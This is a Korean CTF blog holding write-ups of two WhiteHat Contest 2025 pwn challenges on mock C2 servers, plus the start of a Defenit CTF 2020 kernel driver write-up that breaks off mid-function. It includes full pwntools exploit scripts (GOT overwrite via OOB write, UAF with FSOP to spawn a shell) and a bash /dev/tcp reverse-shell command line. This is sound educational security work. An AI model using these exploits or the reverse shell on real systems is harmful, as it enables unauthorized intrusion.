~/bl4nk - ctf

WhiteHat Contest 2025 Quals - Search And Attack

2025-11-17T00:00:00+00:00

0x00. Introduction

➜  tree .
.
├── 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
└── cnc
    ├── 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
    ├── 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
    └── libc.so.6

실행 파일은 서버와 악성코드(아마도), 소스코드와 라이브러리 파일이 제공된다. 처음에 악성코드로 추정되는 8f7c 파일을 분석해야 하나 싶었는데, 결국에는 문제와 전혀 관련이 없었다.

[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

C2 서버 파일인 39fd에 적용된 보호기법은 위와 같다.

Environment

오랜만에 docker 환경이 아닌 라이브러리 파일이 주어져 LD_PRELOAD를 하려고 했는데, 링킹이 잘 안됐다.

결국 pwninit이라는 툴을 찾아 해결했다. 라이브러리 파일을 로드할 수 있는 로더를 찾아 다운받을 뿐만 아니라 바이너리를 패치해서 주어진 라이브러리를 로드하게 변경해준다. 굉장히 간단한데 강력한 도구인 것 같다.

Concept

➜  ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080

C2 서버 파일을 실행하면 위와 같이 8080 포트를 열고 대기한다. 이후 C2 프로토콜에 맞는 요청이 왔을 때 그에 해당하는 로직을 수행한다.

0x01. Vulnerability

코드가 약 500줄정도 되는데 하나의 취약점으로 exploit에 성공해서 다른 취약점이 있을 수도 있다.

void update_bot(int bot_id, const char* data, size_t data_size) {
    pthread_mutex_lock(&bots_mutex);
    
    int index = bot_id;
    int field_count = 0;
    ...
    while (*ptr && field_count < 8) {
        if (*ptr == '|') {
            *ptr = '\0';
            fields[field_count++] = start;
            start = ptr + 1;
        }
        ptr++;
    }
    if (field_count < 8) {
        fields[field_count++] = start;
    }
    
    if (field_count > 0 && strlen(fields[0]) > 0) 
        memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
    
    if (field_count > 1 && strlen(fields[1]) > 0) 
        memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
    ...
    printf("[*] Bot updated: ID=%d\n", bot_id);
    
    pthread_mutex_unlock(&bots_mutex);
}

void detail_bot(int bot_id, int client_socket) {
    pthread_mutex_lock(&bots_mutex);
    
    char response[BUFFER_SIZE * 4] = {0};
    
    int index = bot_id;
    snprintf(response, sizeof(response), 
            "BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
            bots[index].id,
            bots[index].hostname,
            bots[index].username,
            bots[index].public_ip,
            bots[index].private_ip,
            bots[index].os_info,
            bots[index].cpu_info,
            bots[index].ram_info,
            bots[index].disk_info,
            bots[index].last_seen);

    send(client_socket, response, strlen(response), 0);
    
    pthread_mutex_unlock(&bots_mutex);
}

update_bot과 detail_bot에서 index에 대한 검증을 하지 않기 때문에 각각 OOB write, OOB read 취약점이 발생한다.

0x02. Exploit

OOB Read

최대 bots의 개수인 MAX_BOTS가 1000이나 되기 때문에 bots의 뒤 영역보다는 앞 영역에 관심이 갔다.

우선 OOB read를 활용하기 위해 다음과 같이 payload를 작성했다.

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")

이 때 출력되는 내용은 다음과 같다.

id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2

ram_info와 disk_info를 보면 libc 주소가 얻어진다. bots 위 영역에 해당하는 메모리를 출력해보면 다음과 같다.

gef➤  x/46gx 0x0000000000406000
0x406000 <free@got.plt>:        0x00007ffff7cadd30      0x00007ffff7d2bbe0
0x406010 <puts@got.plt>:        0x0000000000401050      0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>:   0x00007ffff7d3c400      0x00007ffff7d2ba30
0x406030 <strlen@got.plt>:      0x00007ffff7d8b780      0x00000000004010a0
0x406040 <htons@got.plt>:       0x00007ffff7d395a0      0x00007ffff7d2bec0
0x406050 <printf@got.plt>:      0x00007ffff7c60100      0x00007ffff7c66370
0x406060 <memset@got.plt>:      0x00007ffff7d89440      0x0000000000401100
0x406070 <strcmp@got.plt>:      0x00007ffff7d8afd0      0x00007ffff7c451a0
0x406080 <memcpy@got.plt>:      0x00007ffff7d88a40      0x00007ffff7fc3a40
0x406090 <select@got.plt>:      0x00007ffff7d26bc0      0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>:      0x00007ffff7cad650      0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>:      0x00007ffff7d2bb50      0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820      0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c      0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0      0x00007ffff7d2c310
0x406110:       0x0000000000000000      0x0000000000000000
0x406120 <server_running>:      0x0000000000000001      0x0000000000000000
0x406130:       0x0000000000000000      0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000      0x0000000000000000
0x406150:       0x0000000000000000      0x0000000000000000
0x406160 <bots>:        0x0000000000000000      0x0000000000000000

이렇게 GOT 영역을 통해 libc 주소가 출력된다. 출력된 주소는 ntohs와 sleep의 libc 주소이다.

OOB Write

따라서 update_bot을 이용해 GOT overwrite 시나리오를 생각했는데, 그 과정에서 두 가지 실수가 있었다.

GOT보다 위 영역에는 r 권한만 있기 때문에 hostname, username 등을 쓰는 과정에서 Segmentation Fault가 발생함
ntohs와 sleep의 GOT를 overwrite하려고 함

이 실수들은 코드를 잘 보면 하지 않았을 것이라서 피드백 차원으로 기록한다.

if (field_count > 6 && strlen(fields[6]) > 0) 
    memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);

strlen(field[i]) > 0일 때만 memcpy를 하기 때문에 field[i]를 비워두면 hostname, username을 쓰는 과정을 스킵할 수 있음
memcpy로 메모리를 통째로 복사하기 때문에 굳이 ntohs나 sleep이 아닌 뒤에 있는 다른 함수의 GOT를 overwrite해도 됨

아무튼 OOB write를 이용해 GOT overwrite를 하기 위해 ntohs 이후의 GOT들을 출력해보았다.

0x4060b8 <ntohs@got.plt>:       0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>:      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>:      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>:        0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>:       0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0
0x406108 <socket@got.plt>:      0x00007ffff7d2c310
0x406110:       0x0000000000000000
0x406118:       0x0000000000000000
0x406120 <server_running>:      0x0000000000000001

위 함수들 중 인자에 입력을 넣기 좋은 함수를 찾아보았는데, atoi가 좋아보였다.

void* handle_client(void* arg) {
    ...
    else if (strcmp(cmd, CMD_DELETE) == 0) {
        char *bot_id_str = strtok(NULL, "|");
        if (bot_id_str) {
            int bot_id = atoi(bot_id_str);
            delete_bot(bot_id);
            char response[] = "DELETED|OK\n";
            send(client_socket, response, strlen(response), 0);
        }
    }
    ...
}

서버에 전달되는 DELETE| 이후에 있는 문자열이 그대로 bot_id_str에 들어가기 때문에 atoi의 GOT를 system의 주소로 바꿨을 경우 인자를 전달해주기 매우 편리하다. 이 때 다른 함수들의 GOT를 건들이면 에러가 날 확률이 높기 때문에 기존 값들을 유지해줘야 한다.

따라서 다음과 같이 payload를 작성했다.

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

여기에서는 system의 인자로 /bin/sh를 전달해도 충분했는데, 환경에 따라서는 다음과 같은 인자가 필요할 수도 있다.

bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        p = process(BINARY)
        if debug:
            gdb.attach(p, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]

    print(p.recvuntil(b"8080\n"))

    s = remote("127.0.0.1", 8080)

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")
    ntohs_addr = u64(r[-3] + b"\x00\x00")
    sleep_addr = u64(r[-2] + b"\x00\x00")
    libc_base = sleep_addr - lib.symbols['sleep']

    log.info(f"ntohs_addr : {hex(ntohs_addr)}")
    log.info(f"sleep_addr : {hex(sleep_addr)}")
    log.info(f"libc_base  : {hex(libc_base)}")

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

    p.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

WhiteHat Contest 2025 Quals - Sleeping C&C

2025-11-02T00:00:00+00:00

0x00. Introduction

[*] '/home/user/sleeping_cnc'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

Concept

=================================
   C2 SERVER v1.0 - INITIALIZED
=================================

[*] Command & Control Server
[*] Managing botnet operations...


===== C2 CONTROL PANEL =====
1. Register new bot
2. Update bot info
3. Send command to bots
4. Deploy task
5. Abort running task
6. Shutdown C2 server
>>

C2 서버의 동작을 구현해놓은 문제이다.

Structure

struct __fixed bot
{
    char *ip;       // pointing 0x18 chunk
    char *info;     // pointing 0x500 chunk
    int status;
};

bot은 위와 같이 구성되며 malloc()으로 생성 시 0x20 크기의 chunk를 할당받는다.

0x01. Vulnerability

Use After Free

int deploy_task_1CE0()
{
  __int64 v0; // rax
  pthread_t v2; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( task_running_40C8 )
  {
    puts("[!] A task is already running");
  }
  else if ( bot_count_40CC <= 0 )
  {
    puts("[!] Need at least 1 bots to deploy task");
  }
  else
  {
    task_running_40C8 = 1;
    if ( pthread_create(&v2, 0LL, start_routine, 0LL) )
      err("Failed to create task thread");
    puts("[+] Task deployed");
    return v3 - __readfsqword(0x28u);
  }
  return v0;
}

명령을 전달하는 컨셉의 deploy_task_1CE0()에서 전역 변수 task_running_40C8의 값이 0인지 체크하고 맞으면 1로 바꾼 뒤 쓰레드를 생성한다. 이 값을 다시 0으로 바꾸는 것은 mutex로 관리되기 때문에 deploy_task_1CE0()는 abort task를 하기 전에 다시 호출할 수 없다.

void *__fastcall start_routine(void *a1)
{
  unsigned int last; // ebx

  pthread_mutex_lock(&mutex);
  last = bot_count_40CC - 1;
  puts("\n[!] OP : Starting operation...");
  __printf_chk(2LL, "[!] Bot %s (info : %s) has dominated\n", bot_list_40E0[last]->ip, bot_list_40E0[last]->info);
  puts("[*] Attempting reconnection...");
  free_vuln_1B80(last);
  pthread_cond_wait(&cond, &mutex);
  puts("\n[*] Task completed. Bot terminated.");
  --bot_count_40CC;
  task_running_40C8 = 0;
  pthread_mutex_unlock(&mutex);
  return 0LL;
}

쓰레드 내부에서는 마지막 bot의 정보를 출력해주고 취약한 free_vuln_1B80()을 호출해준다.

처음에는 abort task를 하기 전에 bot_count_40CC가 감소하지 않으므로 이를 이용해서 race condition 비슷한 걸 해야하나 싶었는데, 후술할 다른 취약점 덕분에 필요가 없어졌다.

void __fastcall free_vuln_1B80(int index)
{
  struct bot *bot; // rbx

  bot = bot_list_40E0[index];
  if ( bot )
  {
    *bot->ip = 0;
    *bot->info = 0;
    free(bot->ip);
    free(bot->info);
    free(bot);
  }
}

최종적으로 free_vuln_1B80()에서는 bot, bot->ip와 bot->info를 해제하지만 포인터 값을 초기화하지는 않기 때문에 dangling pointer로 남게 된다. 이 포인터를 다른 취약점과 연계해서 UAF로 활용할 수 있다.

Improper Check

int update_bot_18D0()
{
  int v0; // eax
  struct bot *bot_selected; // r12
  int v2; // eax
  unsigned int tmp; // [rsp+4h] [rbp-24h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-20h]

  v5 = __readfsqword(0x28u);
  __printf_chk(2LL, "[?] Bot index to update: ");
  tmp = 0;
  __isoc99_scanf(" %d", &tmp);
  do
    v0 = getc(stdin);
  while ( v0 != 10 && v0 != -1 );
  if ( tmp > 4 )                                    // vulnerable!!!
    return puts("[!] Invalid bot index");
  bot_selected = bot_list_40E0[tmp];
  if ( !bot_selected )
    return puts("[!] Bot not found at this index");
  __printf_chk(2LL, "[+] New ip_address: ");
  my_read_1740(bot_selected->ip, 0x18);
  __printf_chk(2LL, "[+] New info: ");
  my_read_1740(bot_selected->info, 0x500);
  __printf_chk(2LL, "[+] New status: ");
  tmp = 0;
  __isoc99_scanf(" %d", &tmp);
  do
    v2 = getc(stdin);
  while ( v2 != -1 && v2 != 10 );
  bot_selected->status = tmp;
  return puts("[+] Bot information updated");
}

update_bot_18D0()에서 업데이트할 bot을 고르기 위해 index를 입력받는다. 이 때 bot의 개수를 저장하는 bot_count_40CC와 비교해야 하는데, 최댓값인 4보다 큰지를 확인한다. 따라서 포인터가 유효한 주소를 가리키기만 한다면 해제된 bot에 접근이 가능하다.

0x02. Exploit

Libc Leak

어쨌던간에 아무런 주소값도 없고 출력부가 쓰레드 함수인 start_routine()에만 있기 때문에 bot->ip나 bot->info를 통해 leak을 해야겠다는 생각이 들었다.

이 중 bot->info는 0x500짜리 큰 크기의 chunk이기 때문에 해제되면 unsorted bin으로 가게 된다. 메모리를 보면 다음과 같이 libc의 main_arena 중간 주소를 저장하고 있다.

# before free
gef➤  x/3gx 0x00005555555592a0
0x5555555592a0: 0x00005555555592d0      0x00005555555592f0
0x5555555592b0: 0x0000000000000001

# after free
gef➤  x/4gx 0x00005555555592f0
0x5555555592f0: 0x00007ffff7facb20      0x00007ffff7facb20
0x555555559300: 0x0000000000000000      0x0000000000000000

이 chunk는 해제된 뒤 값이 초기화되지 않고 다음 bot->info 할당 때 다시 반환된다. 출력부에서 %s 포맷 스트링으로 info를 출력해주니까 \x00을 잘 채워서 info를 입력해주면 libc leak이 가능하다.

    deploy_task(s)
    abort_task(s)

    register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
    r = deploy_task(s)
    libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
    lib.address = libc
    stdout = libc + stdout_offset
    buf = libc + buf_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"stdout : {hex(stdout)}")
    log.info(f"buf : {hex(buf)}")
    abort_task(s)

Use After Free

이제 UAF를 위해 dangling pointer를 남겨두어야 한다. 사실 bot 생성 후 해제하기만 하면 바로 dangling pointer를 만들 수 있다.

    register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
    deploy_task(s)
    abort_task(s)

위 코드를 실행 후 메모리와 fastbin을 확인하면 다음과 같다.

gef➤  x/5gx 0x0000555555554000 + 0x40e0
0x5555555580e0: 0x00005555555592a0      0x0000000000000000
0x5555555580f0: 0x0000000000000000      0x0000000000000000
0x555555558100: 0x0000000000000000
gef➤  heap bins
─────────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────────
All tcachebins are empty
───────────────────────────────── Fastbins for arena at 0x7ffff7e1ac80 ─────────────────────────────────
Fastbins[idx=0, size=0x20]  ←  Chunk(addr=0x5555555592d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30]  ←  Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00

첫 번째 bot이 0x5555555592a0에 할당되었다가 해제되었으며, 그로 인해 크기가 0x30인 fastbin에 chunk가 들어가 있다.

int send_command_1A70()
{
  int v0; // eax
  void *cmd; // rbx
  int v3; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  puts("[*] Operating Command :");
  puts("  1. Quick command ");
  puts("  2. General command ");
  __printf_chk(2LL, ">> ");
  v3 = 0;
  __isoc99_scanf(" %d", &v3);
  if ( v3 == 1 )
  {
    cmd = malloc(0x20uLL);
    puts("[+] Write Quick command payload :");
  }
  else
  {
    cmd = malloc(0x100uLL);
    puts("[+] Write command payload :");
  }
  my_read_1740(cmd);
  return puts("[+] Command queued for deployment");
}

마침 send_command_1A70()에서 0x20짜리 chunk를 할당받기 때문에 0x30 fastbin에서 chunk를 받아오고, 내용도 쓸 수 있다. 따라서 send_command_1A70()를 통해 bot->ip나 bot->info가 가리키는 주소값을 변조한 뒤 update_bot_18D0()으로 AAW를 만들 수 있다.

이제 AAW를 이용해 어떻게 RIP control을 할지 고민해야하는데, libc leak 말고 다른 leak이 없고 0x500이라는 큰 크기의 내용을 쓸 수 있으므로 FSOP를 이용하기로 했다.

FSOP

먼저 앞서 언급한대로 send_command_1A70()를 이용해 bot 구조체의 내용을 변조한다.

    payload = p64(buf)                # bot->ip
    payload += p64(stdout)            # bot->info
    payload += p64(1)                 # bot->status
    send_command(s, b"1", payload)

buf는 exploit에서 필요하지 않으므로 libc 영역 중 무의미한 아무 영역의 주소를 넣었다. bot->info가 stdout을 가리키고 있으므로 bot->info를 update할 때 stdout의 내용을 변조할 수 있다.

stdout의 마지막 필드인 vtable 포인터까지 덮을 수 있으므로(0xe0 이상) 다음 FSOP payload를 사용할 수 있다.

    stdout_lock = lib.sym.__nptl_last_event - 0x48
    payload = FSOP_struct(
        flags=u64(b"\x01\x01\x01\x01;sh\x00"),
        lock=stdout_lock,
        _wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
        _markers=lib.symbols["system"],
        _unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
        vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
        _mode=0xFFFFFFFF,
    )
    update_bot(s, b"0", b"CCCCCCCC", payload)

이후 puts나 printf를 만나면 _IO_wfile_overflow가 호출되며 쉘을 실행시킬 수 있다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "prob"
LIBRARY = "libc.so.6"
CONTAINER = "9d734f3d11b8"
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x12BA,
}

gs = f'''
!b *{bp["main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
context.log_level = "DEBUG"

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

def register_new_bot(s, ip, info, status):
    s.sendline(b"1")
    s.sendafter(b"address: ", ip)
    s.sendafter(b"info: ", info)
    s.sendlineafter(b"online): ", status)
    return s.recvuntil(b">> ")

def update_bot(s, index, ip, info):
    s.sendline(b"2")
    s.sendlineafter(b"update: ", index)
    s.sendafter(b"address: ", ip)
    s.sendafter(b"info: ", info)
    return

def send_command(s, mode, cmd):
    s.sendline(b"3")
    s.sendlineafter(b">> ", mode)
    s.sendlineafter(b"payload :\n", cmd)
    return s.recvuntil(b">> ")

def deploy_task(s):
    s.sendline(b"4")
    sleep(0.5)
    return s.recvuntil(b"reconnection...\n")

def abort_task(s):
    s.sendline(b"5")
    sleep(0.5)
    return s.recvuntil(b"terminated.\n")

def shutdown(s):
    s.sendline(b"6")
    return s.recvuntil(b"server...\n")

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
        main_arena_offset = 0x203b20
        stdout_offset = 0x2045c0
        buf_offset = 0x204700
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
        main_arena_offset = 0x21ace0
        stdout_offset = 0x2045c0
        buf_offset = 0x204700
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    
    s.recvuntil(">> ")
    
    # send big chunk to unsorted bin
    deploy_task(s)
    abort_task(s)

    # leak libc
    register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
    r = deploy_task(s)
    libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
    lib.address = libc
    stdout = libc + stdout_offset
    buf = libc + buf_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"stdout : {hex(stdout)}")
    log.info(f"buf : {hex(buf)}")
    abort_task(s)

    # leave a dangling pointer
    register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
    deploy_task(s)
    abort_task(s)

    # manipulate bot structure
    payload = p64(buf)
    payload += p64(stdout)
    payload += p64(1)
    send_command(s, b"1", payload)

    # send FSOP payload via UAF
    stdout_lock = lib.sym.__nptl_last_event - 0x48
    payload = FSOP_struct(
        flags=u64(b"\x01\x01\x01\x01;sh\x00"),
        lock=stdout_lock,
        _wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
        _markers=lib.symbols["system"],
        _unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
        vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
        _mode=0xFFFFFFFF,
    )
    update_bot(s, b"0", b"CCCCCCCC", payload)

    s.interactive()
    print(shutdown(s))

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

0x04. Reference

FSOP (glibc 2.35, 2.39)

Defenit CTF 2020 - Input Test Driver

2025-09-15T00:00:00+00:00

0x00. Introduction

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./tmp/"$ROOTFS_NAME".cpio  \
-append 'root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr' \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \
-smp 1 \

KASLR과 SMEP가 적용되어 있다.

소스 코드와 intended solution이 출제자님 github에 올라와 있다.

Concept

키보드, 마우스와 같은 사용자 입력 장치와 커널을 연결해주는 input device driver를 흉내낸 코드이다. 예를 들어 하드웨어인 키보드에서 특정 키를 누르면,

드라이버가 스캔 코드로 키를 확인
리눅스 Input Subsystem에 이벤트를 발생시켜 보고
/dev/input/eventX같은 디바이스 파일로 노출

유저 공간에서는 /dev/input/eventX 디파이스 파일을 읽어서 실제 동작으로 바꾼다.

0x01. Vulnerability

Info Leak

static int report_touch_press(char *start, int len) {
    int i;

    if(!len) {
        printk("len error");
        return -1;
    }

    for(i=0; i<=len; i++) {                             // 1-byte oob
        input_report_key(test_dev, BTN_TOUCH, 1);
        input_report_abs(test_dev, ABS_X, *(char *)(start+i));
        input_report_abs(test_dev, ABS_Y, *(char *)(start+i));
        input_sync(test_dev);
    }

    return 0;
}
...
static long input_test_driver_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {

    switch(cmd) {
        case 0x1337:
            printk("report_touch_press call");
            mutex_lock(&test_mutex);

            if(!_fp) {
                _fp = kzalloc(sizeof(struct fp_struct), GFP_ATOMIC);
                _fp->fp_report_ps = report_touch_press;
                _fp->fp_report_rl = report_touch_release;
                _fp->gift = printk;
                _fp->gift("_fp class allocate");
            }

            _fp->fp_report_ps(ptr, strlen(ptr));        // use strlen() to return length

            mutex_unlock(&test_mutex);

            break;
    ...
    }
    ...
}

input_test_driver_ioctl()는 유저 공간에서 해당 드라이버에 대해 ioctl()를 호출했을 때 커널 내부에서 호출되는 함수이다. cmd를 0x1337으로 설정해서 ioctl()을 호출하면 _fp의 존재 여부에 따라 구조체를 초기화하고 fp_report_ps()를 호출한다.

report_touch_press(), report_touch_release()은 각각 터치 스크린의 누름, 뗌을 감지하여 이벤트를 발생시키는 함수이다. 이 때 두 번째 인자인 len에 strlen(ptr)이 들어가게 된다. 그러면 ptr이 NULL을 만나기 전까지의 길이가 len에 전달되므로 \x00을 꽉 채우면 뒤 메모리까지 leak이 가능하다.

사실 이걸로 충분할 것 같은데 report_touch_press() 내부에서도 for(i=0; i<=len; i++)와 같이 <=으로 범위를 체크하기 때문에 1-byte OOB가 발생한다.

Use After Free

static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    char *result;
    size_t len;

